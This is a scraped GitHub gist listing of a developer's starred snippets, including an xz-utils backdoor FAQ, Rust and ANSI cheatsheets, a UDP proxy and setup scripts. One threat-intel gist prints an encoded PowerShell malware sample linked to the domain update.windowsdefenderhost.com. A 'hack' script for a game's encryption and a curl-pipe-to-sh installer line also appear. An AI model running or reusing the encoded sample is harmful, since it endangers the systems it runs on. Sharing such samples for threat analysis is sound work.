Skip to content

Instantly share code, notes, and snippets.

View j178's full-sized avatar
🕶️
Living

Jo j178

🕶️
Living
View GitHub Profile
@thesamesam
thesamesam / xz-backdoor.md
Last active July 21, 2024 05:59
xz-utils backdoor situation (CVE-2024-3094)

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Background

On March 29th, 2024, a backdoor was discovered in xz-utils, a suite of software that

Rust Error Handling Cheatsheet - Result handling functions

Introduction to Rust error handling

Rust error handling is nice but obligatory. Which makes it sometimes plenty of code.

Functions return values of type Result that is "enumeration". In Rust enumeration means complex value that has alternatives and that alternative is shown with a tag.

Result is defined as Ok or Err. The definition is generic, and both alternatives have

@fnky
fnky / ANSI.md
Last active July 22, 2024 12:03
ANSI Escape Codes

ANSI Escape Sequences

Standard escape codes are prefixed with Escape:

  • Ctrl-Key: ^[
  • Octal: \033
  • Unicode: \u001b
  • Hexadecimal: \x1B
  • Decimal: 27
@JohnLaTwC
JohnLaTwC / update.windowsdefenderhost.com
Created September 26, 2018 23:29
update.windowsdefenderhost.com related threats
## Uploaded by @JohnLaTwc
## 5c8fc3b6118f88463f19d21c7f9526d45b40b26b83c74d4e148a6510aeb440de
JABwAGkAbgAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAcwB5AHMAdABlAG0ALgBuAGUAdAAuAG4AZQB0AHcAbwByAGsAaQBuAGYAbwByAG0AYQB0AGkAbwBuAC4AcABpAG4AZwANAAoAJABzAGUAPQBAACgAKAAnAHUAcABkAGEAdABlAC4AdwBpAG4AZABvAHcAcwBkAGUAZgBlAG4AZABlAHIAaABvAHMAdAAuAGMAbwBtACcAKQAsACgAJwAxADEAMQAuADkAMAAuADEANQA5AC4AMQA0ADkAJwApACkADQAKACQAYQB2AGcAcwAgAD0AIABAACgAKQANAAoAJABuAGkAYwAgAD0AIAAnAHUAcABkAGEAdABlAC4AdwBpAG4AZABvAHcAcwBkAGUAZgBlAG4AZABlAHIAaABvAHMAdAAuAGMAbwBtACcADQAKAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAMwA7ACQAaQArACsAKQB7AA0ACgAJACQAcwB1AG0AIAA9ACAAMAANAAoACQAkAGMAbwB1AG4AdAAgAD0AIAAwAA0ACgAJAGYAbwByACgAJABqAD0AMQA7ACQAagAgAC0AbABlACAANAA7ACQAagArACsAKQB7AA0ACgAJAAkAJAB0AG0AcAAgAD0AIAAoACQAcABpAG4ALgBzAGUAbgBkACgAJABzAGUAWwAkAGkAXQApACkALgBSAG8AdQBuAGQAdAByAGkAcABUAGkAbQBlAA0ACgAJAAkAaQBmACAAKAAkAHQAbQBwACAALQBuAGUAIAAwACkAewANAAoACQAJAAkACQAkAGMAbwB1AG4AdAAgACsAPQAgADEADQAKAAkACQB9AA0ACgAJAAkAJABzAHUAbQAgACsAPQAgACQAdABtAHAADQ
var CryptoJS = require('crypto-js')
var request = require('request-promise')
/*
* npm install crypto-js request-promise request
* node wx_t1t_hack.js
*/
// export function testEncription(msg, fullKey) {
// var fullKey = fullKey.slice(0, 16)
@dopey
dopey / main.go
Last active June 26, 2024 13:38 — forked from denisbrodbeck/main.go
How to generate secure random strings in golang with crypto/rand.
package main
import (
"crypto/rand"
"encoding/base64"
"fmt"
"io"
"math/big"
)
@pierrejoubert73
pierrejoubert73 / markdown-details-collapsible.md
Last active July 19, 2024 18:06
How to add a collapsible section in markdown.

How to add a collapsible section in markdown

1. Example

Click me

Heading

  1. Foo
  2. Bar
    • Baz
  • Qux
@vxgmichel
vxgmichel / udpproxy.py
Created February 2, 2017 10:05
UDP proxy server using asyncio
"""UDP proxy server."""
import asyncio
class ProxyDatagramProtocol(asyncio.DatagramProtocol):
def __init__(self, remote_address):
self.remote_address = remote_address
self.remotes = {}

Oh my zsh.

Install with curl

sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

Enabling Plugins (zsh-autosuggestions & zsh-syntax-highlighting)

  • Download zsh-autosuggestions by
#!/bin/bash
# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update
# remove previously installed Docker
sudo apt-get purge lxc-docker*
sudo apt-get purge docker.io*